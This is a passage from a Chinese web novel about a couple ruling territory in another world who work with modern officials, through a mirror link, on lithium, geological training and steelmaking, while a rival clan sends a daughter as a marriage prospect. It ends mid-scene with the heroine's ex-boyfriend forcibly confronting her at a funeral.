袁博文和谢云溪以前也都没有过多去想。 这里的人们也用煤炭,但是由于开采困难, 只有权贵才能使用。其他的如天然气、石油等, 这里都还没有开始使用。 至于铁、铜、锡、铅等金属矿产资源, 也是因为他们拿下沔州后, 想改进一下这里的冶铁技术, 这才开始关注。 袁博文把这些天自己了解的情况如实说了。 大顺王朝算是这一片疆域当中文化和科技等方面领先诸国的存在。但是迄今为止,也只发现了金、银、铜、铁、锡、铅、汞这七种金属矿产资源, 其中金、银、铜、铁这四种运用最为广泛。 其他的,目前都没有发现。 袁博文说完后,把手机传给了袁淼。 叶家振等人听完,心里都有些激动。袁博文所说的情况跟他们猜想的差不多。镜子那头的另一个世界已经发现矿产资源只有寥寥几种,其他的都静静沉睡在地底下。 虽然叶家振也心动另一个世界的铜铁等矿产资源, 但是心里明白, 这几种矿产资源既然被发现了,那肯定已经广泛应用,尤其铁和铜,袁博文夫妇那边形势不好,这些肯定是急需和被严格控制的。 强人所难的事情不能做, 两个世界的沟通来往可想象的空间远不止矿产资源这些,不能因小失大。 “袁老师,你们知道上次送过来锂矿石和富含镍铁的矿石是在哪里发现的吗?” 袁博文语音回答:“是在我们这边一个盐湖旁边捡到。”他还描述了高州盐湖以及附近的景象。 叶家振听完后,更加按耐不住了。已探明的锂资源的确最多出现在盐湖以及周边。我国近80%的锂资源就存储在盐湖中。 他又问了富含镍铁的矿石出处。 这个问题袁博文还没有去问胡耀生,他也如实回答了。 叶家振听完袁博文的回复后,看了其他人一眼:“袁老师,锂,你们那边还没有开始应用,我们这边紧缺。你看,我们能不能再合作一次?由你们那边开采,我们这边提炼……你们有什么要求和想法,都可以提。” 袁博文听到叶家振的语音后,也想了想:“叶部长,不是我们不合作,实际上我们也希望能为国家建设出一份力。但是,我们这边的形势严峻,高州目前……并不在我们的掌控中,那边我们暂时没办法插手。不过,我答应各位领导,一旦条件容许,我们愿意合作,共同做好这件事情。” 他录完语音后,看了看谢云溪。谢云溪点了点头。 这段语音里面透露了一些信息,很容易让人猜到他们目前的处境。 但是,这些原本就不是秘密。袁淼最近购买的各类军备虽然不多,但是先前大量购买,经手的人一定把这些都上报了,明眼人肯定早就猜到他们在这边干什么。 袁博文把手机传了过去。 叶家振打开语音时候并没有刻意回避,在场的人都听到了。陈博川和王振声因为早就知道了一些事情,面上没有任何波动。但是叶家振的眉眼却跳了跳。顾军平更是吃了一惊。 叶家振一直都知道袁博文夫妇身处的环境局势不好,但是并没有往深处去想。现在听袁博文语音里说高州不在的掌控中?这话里的重量可不小。 高州不在他们夫妇的掌控中,那是不是说有其他地方在他们的掌控中? 现在合作开采的金矿归属的地方应该是其中之一吧? 能至少掌控一州之地的能是一般人吗? 他记得袁博文只是一个举人! 这是已经下场争霸吗? 叶家振感觉自己的血一下子沸腾了起来,连忙打住胡思乱想,把思绪拉到眼前的事情上来。 袁博文并没有一口回绝合作!只是说现在他们的条件不容许,条件容许了,就可以合作了! 这是答应了!只是目前不行!只要他们掌控了那个高州,这件事情就可以合作了!盐湖区域矿产资源丰富,可不仅仅只有锂矿石! “哦,这样啊……好好好,袁老师,那我们就等你们的好消息了。” 叶家振录了一句话后,又说,“那个,你们看在此之前,我们能做些什么?” 袁博文夫妇要掌控高州之后才能谈合作,他能理解,不在自己地盘范围内的矿产资源当然不能做主。 那边的形势具体是什么样,他虽然不清楚,但是他绝对希望袁博文夫妇能尽快达成目的。为此,给予一些力所能及的帮忙也是情理之中。毕竟是他们才是资源短缺的一方。而袁博文夫妇现阶段根本就用不着锂矿产。 帮忙袁博文夫妇做大做强符合他们双方的利益,袁博文夫妇掌控的地盘越大,这样合作的范围可不就能越来越广吗? 袁博文听到叶家振语音后,又看了看谢云溪,他们都听出叶家振想帮忙的心思。 袁博文想了想,说:“叶部长,我这儿还真有个事情想您帮忙。” “我们对这边的矿产资源情况并不了解,先前所说也是询问的他人。现代的勘察技术先进,我们想组织一些人手,学习一下这方面技术和知识,等高州那边的条件容许后,我们好探明那边的具体情况。不知道叶部长能不能帮这个忙?” 袁博文早就有这个想法了,不过,先前只想到了石油和煤炭。在袁淼把珍妮纺织机传过来之后,他就有推进工业化的想法了。 现代的工业发展是从纺织技术和冶铁技术开始,再就是蒸汽机时代和内燃机的发展。蒸汽机发展需要大量的煤炭资源,内燃机时代则是能源资源石油的天下。 这里虽然已经发现了煤炭,但是只能满足权贵们使用,产量极其低下,这与煤炭资源的勘察开采等有关。 至于石油,这里还是零,什么都没有开始。 这里的资源勘察现阶段就靠一双眼睛和丰富的经验,这种类似盲人摸象的勘察方法跟现代地质勘察技术完全不能比。 如果能掌控了现代的勘察技术,不仅可以探明高州盐湖那边的矿产资源情况,还能知道工业发展最重要的两项能源石油和煤炭的储量情况。 叶家振听到袁博文的语音后,看了陈博川一眼,陈博川微微点了点头。 袁博文想组织人手学习现代地质勘察技术,当然不仅仅是为了探明高州盐湖的矿产资源情况,应该还有探明其他地方资源的想法。 这件事情对他们有利无害,他也想知道袁博文夫妇所处的世界资源情况,如果双方能互补或者广泛合作,那就更好了。 叶家振的想法跟陈博川一样。袁博文夫妇想组织人手学习地质勘察技术和知识,这是好事!他也很想知道另一个世界的资源情况。 “没问题!袁老师,你们想从哪里开始?是从设备的学习和掌握开始还是从地质勘察方面的知识开始……” 袁博文听到了叶家振的语音后,又想了想。这里的人对现代的仪器设备一概不知,想要学习,那肯定得从零开始。 至于现代的地质勘察技术和知识,估计有一些人能看懂,但凤毛麟角。如胡耀生这样的人,绝对少见。 “从头开始吧,先学理论。”谢云溪说。 袁博文点头,把意思告诉了叶家振等人。 叶家振二话没说就同意了。给异世界的人传授地质勘察方面的知识和技术,又不需要老师讲解,他可以提供文本和视频等多种传授方式。 这件事情商量好后,叶家振的心情大不一样了。 陈博川又关心了一下袁博文和谢云溪后,结束了这次的沟通。 回去的路上,叶家振的心情都没有平复下来。 “陈秘书长,你们刚才都听到了袁博文的话吧?他们夫妇在那边是不是……已经干起来了?” 陈博川笑了笑。不过心里还是有些感慨。袁博文夫妇要买大船的时候,他就想到了他们有可能走不成。身边跟随的人多了,很多事情都会身不由己,局势会推着他们做出决定。 果然! 但是他没想到这一天会来的这么快。 他也有些紧张了,袁博文夫妇虽然在异世界,但是身份归属上仍然是我国的民众,他既希望他们做大做强,也希望他们能够平安顺利。 王振声也笑了两声:“老叶啊,这还不明显吗?” 叶家振感慨了一声:“我是没想到啊!好!好啊!” 袁博文夫妇如果真能在异世界成就一方霸主,那对他们这边肯定也一件好事,这样双方能合作的空间会大大增多。 陈博川等人离开后,袁淼问道:“爸,高州不是还在北凉治下吗?你们现在就要组织人手学习现代地质勘察方面知识和技术,这些人学会了能过去吗?” 谢云溪笑了:“现代地质勘察方面的知识和技能不是那么容易学会的。” 袁博文也在一旁点头。 他是经历过科举的。这里的知识体系与现代的完全不一样,虽然不是以八股文为尊,但是绝对偏文。科举的那些有关数理方面的涉及不多。 而现代地质勘察方面的知识和技能,绝对会涉及到大量的数理方面知识,这些不是短时间内能贯通的。 袁淼明白了。 袁博文又说:“淼淼,过几天我可能离开郴州。到时候你妈和你弟弟这边你要多操点心。” 袁淼惊了一下:“出了什么事儿吗?” “现在还不确定,不过,应该八九不离十。我们接到消息,皖州那边的北凉有异动,大批人马正在聚集。如果消息属实,我就要马上离开了。” 袁淼心里也有些乱了。她当然希望父亲能够陪在母亲身边,尤其母亲现在还没出月子。但是军情紧急,胜过了一切。 一旦耽误,就是大败,父母先前所做的一切都白辛苦了。不仅如此,还会有许多人因此丢掉性命。 她点了点头:“好!爸,你放心吧!我会看好妈妈和弟弟!” 袁博文心里也很沉重,但是事情有轻有重。他们已经旗帜鲜明表明了态度,并且身边已经不少拥护者了。这些人不说将身家性命都押在了他这里,大抵也差不多。那他就不能跟先前一样,只顾自己的小家了。 “我明天会去一趟矿区,把那袋石头还给胡先生。这次的学习,他会是领队。这个人特别热衷地理地质方面的事情。我想好好培养一下他。如果,他在学习方面遇到了问题,我会让他来找你妈,到时候就要你想办法解决了。” “嗯!我知道了!” 谢云溪也说道:“你放心吧!” 她也觉得这方面的人才难得,培养好了,不仅能在高州盐湖地质勘察时有所作为,也能为以后寻找新的矿产资源储备人才。 “其他的人,我准备让张时文来选拨。” 他们现在辖内有四州百姓,也有源源不断过来的流民。这些流民里面并不全是大字不识,刚好能趁此机会选拨一些人手出来。 现在,不仅他需要人,各州府衙也都需要有用的人。 谢云溪听了袁博文的打算默默点头。这里的文化普及率太低了。识字的人,十个人里面都未必有一个。更别提文化水平高低了。 但地质勘察方面的知识和技能,光是识字的,没有一点基础,也别想短时间内能够学好。 “叶部长他们把学习的资料整理好后,如果,我已经出去了,淼淼,你也要好好把关,一些特别现代的知识和理论,最好不要出现学习的资料里面……” 袁淼点头。 现代的知识体系跟父母那边应该有很大的区别,太现代化的知识估计会颠覆他们那边许多知识分子的认知。这对快速学习不一定有好处。 跟袁淼交待完后,袁博文又对谢云溪说:“这次出去,我想把商泽带走。他在矿区有些屈才了。” 谢云溪也很看好商泽。一身功夫了得,在袁博文担任副将的时候就很出色。这样的人,在矿区当个护卫头目确实屈才了。 “郴州的府里面虽然装了监控,但是安全问题还是不能大意。现在想要咱们性命的人可不少。所以,我准备把袁归调回来,让他任府里的大管事,贺掌门身手了得,他手下的那些趟子手也都不弱,让他们也住到府上来吧。” “好,侧门那边有个院子一直空着,改天我让人收拾出来。” 威远镖局的人现在都跟着他们,春节还没过完时,商远就带着十几个趟子手跟着姚青山的商队南下了。现在镖局里只是了贺威和几个徒弟,就住在离他们不远的一个小院里。谢云溪老早就想把他们移过来了。 “咯,还有这个!”袁博文突然递过来一个牌子。 “这是什么?”谢云溪拿到手上仔细看了看,像是黄梨木的牌子入手微沉,上面刻着一个袁字。 “我的腰牌。” 谢云溪愣了愣。 “有了这个,你可以自由出入军中任何地方,我如果不在,你也可以凭借这个调动军中力量做任何事情。” 谢云溪连忙把牌子递回去:“这个我不能拿!” 袁博文笑了:“你怎么不能拿?眼下的一切都是我们共同努力的结果。而且,我离开后,军中有些事情还必须你来做主。” “郴州这边的军需粮草现在是吴万乾管着,这一次我出去,可能短时间回来不了,如果军需粮草等接不上,吴万乾可能会来找你!” 谢云溪明白了。现代化军械和机械等经手的人不多,吴万乾应该是其中一个。袁博文在前线,这一次出去不可能一次性带足所有的军需,如果中途需要补充,那还只能是她出面了。 少量的,她可以遮遮掩掩,分次运到军中,但是大量的,最好能在军需仓库接收,这样会减少很多不必要的猜测。 “神器营和军需仓库那边,我都装上了摄像头,也教过他们怎么使用,但时间紧张,我讲的不多,他们可能会在使用中遇到一些问题……到时候可能也要你去解决。” 谢云溪点头。现代化设备等的确不方便交给其他人。 她收了腰牌。 袁博文笑了。 有备无患。杀场无眼,谁也不能保证自己一定可以活下来。他要尽可能保障妻儿的安全和利益。 第143章 贵女 两天后, 袁博文就得到了准确的消息,他带着人马离开了。 袁淼则来到了湖钢集团参观学习。湖钢集团的沙总亲自陪同,但是袁淼进到厂区后, 看到几乎全自动化的生产冶炼场景时傻了眼。 即便是有工程师在旁边详细讲解, 她能明白一些流程和原理, 但是还是忍不住暴汗。 眼前的厂区现代化的程度太高了, 目光所及都是大型设备,工人寥寥无几。 不过, 她虽然有些失望,但还是看完了整个流程, 并且在征求到沙总的同意后, 她还拍了一些视频和照片。 晚上回去, 袁淼把视频和照片传给谢云溪看。 “这就是现代冶炼工厂的情况, 我问过沙总了, 他们集团在同行只能算是中等规模,年产量只有六十万吨钢铁。” 谢云溪原本在看照片和视频, 听到这里抬起头:“年产量六十万吨钢铁?” 袁淼点头:“这是沙总亲口说的。” 谢云溪愣了愣:“沔州那边的冶炼工坊,我虽然没有去过,但是听人说过,它是大顺最大的冶炼工坊了,年产量好像不到……两万吨?” 袁淼愣住了。 大顺最大的冶炼工坊年产量居然只有现代中型冶铁工厂年产量的零头? 这产量也太低了吧? 谢云溪又想了想:“好像是这个数。” 那差距也太大了, 难怪刀枪剑等兵刃这么贵了。 提升和改进技术很有必要。 可现代冶炼工厂的自动化程度太高了, 连工人都很少,袁淼一时间也不知道从哪里开始着手了。 “等淮安满月后,我去沔州看看。”谢云溪说。 只有知道了这里的冶炼工坊现状,才能针对性进行改进。 现代的冶炼工厂现代化程度太高了,不能完全照搬。 “去沔州?沔州距离郴州有多远?要不, 还是等爸爸回来之后再说吧?” 袁淼没有忘记谢云溪生产的时候遇到的事情。 谢云溪笑了笑。袁博文离开的时候就说过,这次他出门,恐怕要不短的时间。局势严峻,他想打掉北凉的援助后,再对付萧南召,一举解决郴州的心腹大患。 且不说从皖州那边过来的北凉大军有多少了,只萧南召那一边,就非常棘手。 他是北凉此次南下的主帅,一路所向披靡,几乎无人能挡,袁博文的神器营虽然有现代化军/械加持,但是遇上了这样的人物,也不一定能取胜。 “没事,我们有车,一天就能到那里了。再说了,我身边护卫不少,我会小心的。” 如果没车,她还真不敢去沔州。沔州到郴州差不多有四五百多公里路,他们当初从沔州逃难出来,走了十几天才进入了郴州境内,到郴州城里还有二三十公里路呢。 有了车,走官道,从郴州到沔州也就一天的时间。 现在郴州周边的环境也比以前好多了,拦路打劫的事情已经很少听说了。 袁淼还是有些担心。 谢云溪说:“咱们不能什么事情都指望你爸。战场上的事情我不懂,做后援之类的有你,我也应该做些事情。” “冶炼工坊的技术如果能得到提升和改进,不仅解决军中的武器供应,也能改善沔州一带民生。北地别的地方,我不清楚,但是郴州这里的还有许多人连饭都吃不上呢。咱们既然已经决定自己干了,至少要做到不让辖下的百姓饿肚子吧。” 袁淼听完后默默点了点头,一会后说:“妈,我和你一起。” 母亲说的对,他们现在不仅经营好小家,也要经营好大家。 她如今已经是三家公司的老总,也懂了一些管理的道理。如果连工资发不出来,这家公司连散伙也不远了。 同样的,父母那边如果连辖下的百姓温饱都不能保障,那就有很大隐患。 父母那边所处的北地并不是鱼米之乡,与其继续在农耕路上折腾,还不如另辟蹊径,加速工业化进展。 “不过,你去了沔州,淮安怎么办?” 谢云溪笑着说:“我就离开一两天而已,他现在吃奶粉也挺好的。念荟她们都很尽心。” 袁淼想到了博云贸易的财务科长胡芸蝶,她刚开始入职的时候,家里的孩子也没有断奶,她便每天把奶瓶等带到公司里来,下班后背回去给孩子喝。 “妈,你知道背奶吗?” 谢云溪愣了愣。袁淼描述了一番她才懂,随即笑了:“这事很常见,我在医院上班的时候,女职工这么干的不少。” 不过,那时候没有背奶这个新名词。 “再说了,淮安的情况不一样,他能喝奶粉。我第二天就能回来了。” 袁淼想了想时间,距离袁淮安满月还有将近十天,时间还早。 “叶部长跟你联系了吗?” 袁淼摇头。 自上次约谈已经过了三天,期间叶家振打了一次电话,询问父母那边的文字情况。 这个她早就知道了。父母那边的文字与唐宋时期的繁体字差不多,但也有个别字有较大出入。 叶家振知道后,表示他会把学习的资料排版设置成繁体样式。 “地质勘察方面的知识那么多,叶部长他们还要考虑你们那边的情况,不会那么快就整理好的。” 谢云溪也知道叶家振询问过文字的事情。他们既然能连这个考虑到了,肯定也会考虑到这里的实际情况。要把一整套地质勘察方面知识整理成另一个世界的知识分子能快速学会和贯通的资料,可不是一件容易的事情。 “我知道。如果叶部长再联系你,问起文字的事情,你让他们不用担心这个。”她两边文字都通,可以做好翻译。 袁淼答应了。 第二天接到叶家振的电话时,袁淼吃了一惊。 “都整理好了?这么快吗?谢谢叶部长!” 电话那头的叶家振笑呵呵说:“时间比较紧,我们只整理了一部分出来。你让你爸妈先看看,能不能行?” “一定行的!”袁淼立刻点赞,“东西现在在哪里?我马上去拿!” “顾工现在就在你家附近,东西都在他手上。” “好,我马上过去!” 叶家振叫住了袁淼,笑呵呵说:“我听沙总说,你昨天去湖钢集团参观了?怎么样?有没有收获?” 袁淼汗颜。她去参观学习是抱着能改进父母那边冶铁工坊技术的目的过去的,可是到了才知道事情并不是像她想象的那么简单。 袁淼干干笑了笑:“收获有……但是不多!” “叶部长,现代的冶铁工厂,自动化的程度是不是都很高了?” “差不多吧,以前那些技术落后,成本还高,基本上都淘汰了。” 袁淼一时无语,她寻找的就是已经淘汰的那些。那些在父母估计都是非常先进了。 “小袁,你打听这些是不是想改进你父母那边的冶铁技术?” 袁淼如实回答:“是的,但我发现……这不是一件简单的事情。” 叶家振笑了:“技术的改革在哪里都不是一件容易的事情。” “你对你父母那边的冶炼工坊情况了解吗?” 袁淼顿了顿,“……不了解!” 叶家振也顿了顿。他知道袁淼大学的专业是设计类,这与制造业的壁垒可是相当大,她不了解冶铁方面技术很正常。 上次回去后,他们把约谈的情况向上面反映了,上面的意见的也是要尽力协助,帮助袁博文夫妇培养一批优秀的地质勘察方面人才 ,这符合双方的利益。 如果他们还有其他方面要求,只要不损害这里的利益,都可以考虑。维系好关系,以后才能广泛合作。 “我听沙总说,你去参观学习,还拍了不少照片和视频?” 袁淼有些紧张了,她虽然在拍摄之前得到沙总的同意。但矿产资源管理部可是湖钢集团的上级单位,也许上级单位有规定不能把现代冶炼技术透露给另一个世界呢? “是的……” “你看,可不可以这样,你让你爸妈把他们那边的冶炼工坊现状也拍摄下来,我帮你们找几个专家看看。看了看他们有没有好的想法和建议。” 隔行如隔山,不懂行的想要从下往上学习,难度很大,但是懂行的人从上往下看,往往很快就能发现问题。 袁淼惊呆了,心里被狂喜填满,嘴角都压不下去了:“好!谢谢叶部长!太感谢您了!” 叶家振呵呵笑起来:“小事一桩!不用客气!小袁,你们以后要是遇到了麻烦和问题,都可以跟我们反映!” 上面已经把袁博文夫妇的事情上升了一个等级。与他们保持良好的关系很重要,现在可以谈锂矿产合作开采的事情,以后也可以在其他资源方面展开合作。 袁淼又道了谢,挂了电话后,心情仍然很激动。跟沈若君交待一声,她便离开了公司,赶回家时,就看到了别墅旁边停着小车,王振声和顾军平从车里下来了。 袁淼连忙跟他们打招呼 顾军平笑着说:“我们整理了一些资料,但是不知道你爸妈那边能不能用得上?” 他拿出了一些资料:“这些是水墨打印的,我们也将这些整理成文包了……” 袁淼看了看的资料,又打开了电脑上文包。这些比她在电脑上搜索查到详细多了,还配备了许多图片,即便是没有一点地质方面基础的也能看懂了。 她心里感慨。上面出手,果然非同凡响。她跟顾军平道谢。 顾军平笑呵呵说:“你问一问你爸妈,这些行不行?如果不行,或者有其他问题,这是我的电话!” 袁淼记下了顾军平的电话。送走他们后,袁淼就联系了谢云溪,谢云溪看到传过来的资料,也很感慨:“整理这些不容易啊!” 她也看出来上面也希望他们能够培养出一批地质勘察方面的人才。 “水墨打印出来那些能够直接使用吗?”袁淼问道。 谢云溪看了看:“小范围的人使用问题不大。” 不过,她也很快发现有个别字有出入。但这不是问题,顾军平还留下相应的文包,她可以在更改后,再找些可靠的人手抄录一遍。 “我今天和叶部长还说起冶铁工坊改进的事情!” 袁淼把和叶家振说的话告诉了谢云溪。谢云溪也很高兴:“真的吗?这太好了!” 她一时竟想立刻去一趟沔州了。不过,最后还是忍住了。 转眼就到了袁淮安满月时间,念荟等人提前就把院子里的一切都收拾好了。谢云溪搬回来的这天,刻意选了大清早的时间,但是还是有不少人知道了。 庄静和庄老夫人周氏等次日便过来了。谢云溪看到庄静身边多了一个十五六岁的少女,心里奇怪,多看了几眼。 庄静笑盈盈把那少女牵了过去:“这是我们大老爷家的二小姐,前几天才到的郴州。”又催促那少女,“景澜,快见过袁夫人。” 谢云溪反应过来了。岭南关家又来人了,这次居然是个妙龄少女!这位二小姐身份不低,岭南关家家主关许的女儿,关景澜! 这个时候,岭南关家往北地送女儿?!嫡女还是庶女? 有点奇怪。 谢云溪虽然在心里嘀咕,但关景澜屈身行礼后,她还是马上请她起来了。仔细打量了一番。 小姑娘年纪虽然不大,但生的端雅靓丽,一言一行颇有大家风范。 谢云溪赞了几句,脱了手镯做见面礼。 关景澜落落大方谢过。 谢云溪一脸喜欢:“不愧是大家出来的小姐!二小姐到了郴州,可还适应?” 关景澜笑着点头:“北地这里广阔辽远,虽不是山清水秀,却别有一番风味。我很喜欢这里。” “瞧瞧这张小嘴,真是会说话!”谢云溪笑赞看向庄静等人。 庄静也笑着附和说了几句,沈悦兰抱着袁淮安出来后,这顿打趣才由关二小姐身上转移到了袁淮安头上。 可惜袁淮安是个不知趣,这么多人围着,他也没有给个面子掀一掀眼皮,依旧香香甜甜睡着。 庄静等人也没有久待,毕竟谢云溪才出月子。 回到府里,跟关景澜等人分开后,庄静再也绷不住了,一张僵笑了许久的脸顿时垮了下来。 关景钰看出了端详:“娘,你怎么了?” 庄静干干笑了笑:“我有些乏了,你去看看二小姐她们,还需要添置哪些东西?” 关景钰乖巧点头,“娘,二姐姐他们要在这里呆多久?” 庄静的脸色沉了下来,一张手帕几乎要揉烂了。 呆多久?人家谋求的可不是朝夕!岭南关家出动嫡女,看准的是袁夫人这个位置! 第144章 嫁妆 庄静想到这里, 心里就翻滚起不适。她与谢云溪虽然去年才结识,但是患难中的交情非比寻常,胜过了许多十年二十年的老相识。她自然不愿意见到她受苦受难。 可眼下境地, 她一个无根无低的妇人, 如何能与手眼通天家大业大的百年世家大族相比? 与岭南关家联姻, 没有人能抗拒得了这样的好处。袁大人虽与她伉俪情深, 但这份情深,在王图霸业面前, 又算得了什么? 有了岭南关家的鼎力支持,袁大人一定会如虎添翼, 一统北地后, 挥兵南下, 只是时间早晚的问题。 岭南关家的这个算盘着实打得精!知道袁大人根基太薄, 特送来了这个橄榄枝, 日后大事有成,他们自然是头一份功。 可怜了谢云溪, 事情才开始,她就要出局了。岭南关家的嫡女,不可能当妾。 谢云溪不知道她的位置已经被人盯上了。送走了庄静等人后,她就把袁归叫了进来。 “岭南关家的这位二小姐是何时来的郴州?她是关家大老爷哪房夫人所出?” 袁归如今已是袁府的大管事了:“……关二小姐前日到的郴州,是走的水路, 一同过来的还有岭南关家的三老爷。” “这位二小姐是关大老爷嫡出的二女, 关大老爷的长女也是嫡出,如今是长平侯世子夫人……” 岭南关家的三老爷也来了?这阵势有点大,应该不是游山玩水的。 谢云溪又想到关景澜的年纪以及今天见面说话的样子。恍然大悟。心里一时唏嘘,什么滋味都有了。 没想到袁博文老大一把年纪了,还有这样的艳福。 她让袁归下去了, 一个人坐了一会儿。 岭南关家的嫡女,妙龄年华,不管是小姑娘自身的条件,还是娶她带来的好处,都不是她能比拟的。 如何抉择,只要不傻,都知道要选谁。 可惜,袁博文不同,他们来自现代,彼此知根知底。关键是他们还有一个女儿在现代。 岭南关家的嫡女嫁妆虽然丰厚,但是跟他们的女儿相比,根本不值一提。 再说了,袁博文如果真为了王图霸业抛弃她,她还乐得自在。她会驾驶游轮,身边的丫头也给力,带上镜子,在哪儿她都能活的很好。 想通后,谢云溪浑身轻松了。收拾整理后,她来到了监控室。里面值班护卫连忙站了起来。 跟在谢云溪身边的贺天凤看着眼前的屏幕,嘴巴都忘记合上了。 谢云溪也看了看屏幕。整栋院落尽在眼里。 “怎么样?这几天有异常吗?” 护卫回话:“昨日有几个生面孔在后门徘徊,被连大人发现了,都抓了起来,送进了巡防营大牢,今日还在审问。” 在后门徘徊的生面孔,有可能是寻常百姓了,但连虎必定发现了什么,才去把人拿下。 有了这些监控,危险估计才冒个头,就会被掐灭了。 在后门徘徊的那伙人估计也是一头雾水,不知道哪里出了纰漏就被一网打尽了。 危险无处不在,以前她还是太迟钝了。 勉励了护卫们几句后,谢云溪把视频拷贝了一份后带了回去。这是袁淼要求的,她一直想知道他们所住的地方是什么样子。 到了晚上,谢云溪就把拷贝的视频传给了袁淼。 袁淼津津有味看着。父母所住的院落比她想象的还要大,光后面的院子就有七八个,还有花园假山池塘等。 “你们住在哪里?” 谢云溪指着袁淼看。袁淼看到视频中有个身形欣长,容貌俏丽的少女从屋里出来,她指着问道:“她就是念荟吗?” “对!” 袁淼对念荟的印象很好:“不错,又漂亮又利落,看着就让人放心。” 谢云溪笑了笑。念荟跟着她的时间最长,刚开始有些事情她还瞒着她,现在几乎敞开了。她嘴很严,做事也很靠谱。 袁淼又很快认出了贺天凤。这姑娘浓眉大眼,举止利落,手中抓着一把长剑。 看到抱着婴儿的少女,袁淼惊了一下:“她是沈悦兰吗?” 谢云溪点头。 袁淼不禁啧啧赞叹:“这小姑娘长得真漂亮!” “是啊!”谢云溪感慨说。她来到这个世界已经有不少年头了,见到女子也算是不少,但是让她感觉惊艳的寥寥无几。沈悦兰就是其中一个。 可惜漂亮的小姑娘,受的罪也比一般人多多了。 袁淼也知道沈悦兰的经历:“她多大了?” “今年十五。” 袁淼一阵毛骨悚然,十五岁的小姑娘,去年也就十四岁,刚上初中的年纪,就遭到了这样的厄运。 “我让淮安认了她做了姑姑。”谢云溪说。 袁淼愣了愣:“姑姑?” 为什么不是姐姐?视频中小姑娘年纪比她小很多。 谢云溪笑着说:“淮安的姐姐只有一个。这不能乱。”她又把沈悦兰的经历的讲了。 袁淼一阵心疼。小姑娘确实命运多舛,她也希望她能从过往里走出来。 看完了这段视频后,袁淼又看到庄静等人来访的视频。 谢云溪一说,她就认出来哪个是庄静,哪是庄炜的夫人周氏。至于庄老夫人,她的年纪最大。这个不会认错。 不过,在看到关景钰和关景澜时,袁淼卡壳了。 “哎!关正和庄静不是只有一儿一女!这两个是……” 谢云溪脸上的笑有些淡了:“年纪小的那个是关正和庄静的女儿关景钰,旁边的那个是关景钰的堂姐关景澜。” 袁淼愣了愣:“堂姐?是岭南关家那边过来的人吗?” 谢云溪点头。 袁淼觉得不对劲了。现在的北地郴州可不是什么风景很好的名胜景点。北地在打仗,郴州归属哪一方势力都还没有确定呢,岭南关家的小姐这时候过来干什么? 她想不明白。 “她在北地这里有亲戚吗?还是她……不受宠?庶女吗?” 谢云溪笑了:“都不是。她是岭南关家家主关轩嫡出的二女儿。” 袁淼愣住了。 这身份不低。这个时候来郴州肯定是有目的! 高门大户的千金小姐,如果是在现代,跑到局势混乱的地区,有可能是为了事业和爱好。但在封建王朝,她们最大的作用就是联姻。 北地这里,能被岭南关家看上的联姻对象寥寥无几。世家大族的嫡女,还能配谁? 袁淼的脸色顿时不好了,心里的火腾一下烧了起来。 什么东西?竟然敢打她爸爸的主意! “这个不好看!长得最差了!笑的也假!” 谢云溪被逗笑了。 “哪有你说的这么差?” 关景澜虽不是让人一眼惊艳的长相,但模样儿端雅俏丽,举止大方得体。也是难得的小美人。 袁淼哼了一声,“这种人我见多了,表面上一副温柔大方的样子,实则心胸狭隘,处处算计!妈,这样的人,你以后少理!” 谢云溪笑了。她原本就没有把这些小姑娘们放在心上,她知道袁博文是什么人。只是刚才突然被惊了一下。发现袁博文今非昔比,已经是个香饽饽了。 谢云溪答应后,袁淼这才作罢。她决定找个时间好好跟袁博文单独谈一谈,如果他负了母亲,她绝对站在母亲这一边。 这件事情让袁淼的心里警钟大作,跟谢云溪联系过后,她把所有的视频又仔细看了一遍,尤其出入父母院子里的那些女孩们。 她看得很认真,确定这些女孩们举止行为没有异常后,才松了一口气。 但这件事情绝对不能放松,世家大族的嫡女不会甘于做妾,女人的阴私手段有时候比明刀明枪更难以防范。 袁淼正想着这些,突然听到了救护车的声音由远到近传过来,又从门口过去了。她一下子惊醒了。连忙披了件外套出来。 还没有走到宋颜家门口,她就看到了停在那里的救护车。 袁淼吸了一口凉气,最近几天谢云溪要搬回来,她的心思全部在这件事情上,已经有两三天没有过来探望宋奶奶了。 宋家的别墅大门开着,别墅里面灯火通明,人头攒动,袁淼踮了踮脚,也没有看到宋颜,看到的都是生面孔。这些人举止矜持有礼,一看就知道不是普通人。 她原本已经走到了宋家别墅的门口,心思陡转,并没有进去,而是直接走过了。 这个时候,宋家的人都来了。她是个外人,不适合进去。 不过,这天晚上袁淼也没有睡好,第二天一早便给沈若君打了电话,让她去打听宋奶奶的情况。 只等了一会儿,沈若君的电话就打了回来。宋奶奶过世了。 袁淼愣了一会,后面沈若君又说了什么,她也没有听清楚,直到沈若君连叫了两声后,袁淼才回过神,嘱咐沈若君去买些祭奠的物品。 挂了电话后,袁淼呆呆坐了一会。沈若君买到了东西,她便驱车来到宋颜家里。 宋家的祭奠道场已经搭建起来了,许多人都过来祭奠了,袁淼随着人群上了香,又默默祈祷宋奶奶一路走好。 宋颜换了一身装束,黑色的衣服衬得脸色憔悴。袁淼等了一会儿,看到宋颜终于闲下来后,便过去了。 劝慰节哀的话在她嘴里打了一个转,还是没有说出口。倒是宋颜先开口说话了:“什么时候过来的?我刚才太忙,没有注意到。” “有一会儿了,宋奶奶……什么时候走的?” “昨天晚上。” 袁淼想到了昨天晚上在宋颜家门口看到的一幕,明白大概就是那个时候。她心里难受,低下头,干巴巴说:“节哀!” 宋颜默默点头,一会后说:“其实,我们早就知道了,大概就是这几天了……” 袁淼想到了自己的奶奶,离开的时候还给她报了一个梦。她心里一时心痛,眼眶一热。连忙把头转到一边。 却看到徐清阳正站着不远处,冷冷看着他们。 袁淼感觉自己浑身的血液像是凝固了,原本难以抑制的悲伤也瞬间冷却了下来。 “医生也提前说过了……” 宋颜并没有察觉到徐清阳的存在,依旧在说这几天的事情。 袁淼回过神来:“那边是不是又有人来了?” 宋颜看向了祭奠道场那边,袁淼催促说:“你快去吧!” 宋颜看着袁淼:“我过去了!” 袁淼点头。宋颜离开后,她松了一口气。但是下一刻,她的手腕就被人牢牢抓住了。 “你干什么?快松开!” 徐清阳像是没有听见一样,直到把袁淼带到一个角落后,他才放手。 徐清阳像是气坏了,又有些手足无措,一会后又冲过来捏起袁淼下巴,咬牙切齿说:“你离不开男人吗?淼淼,你怎么就不能乖一点儿呢!” 袁淼挣脱不开,抡起手,就是一巴掌。 清脆的声音,两人都惊呆了。 袁淼定了定神:“徐清阳,我们已经没有了任何关系!你再这样,我就报警了!” 徐清阳摸了摸嘴角,看着袁淼,眸子通红,像是陷入绝境的狼,一下子崩溃了,突然逼近,困住了袁淼的手,堵住了她的嘴。 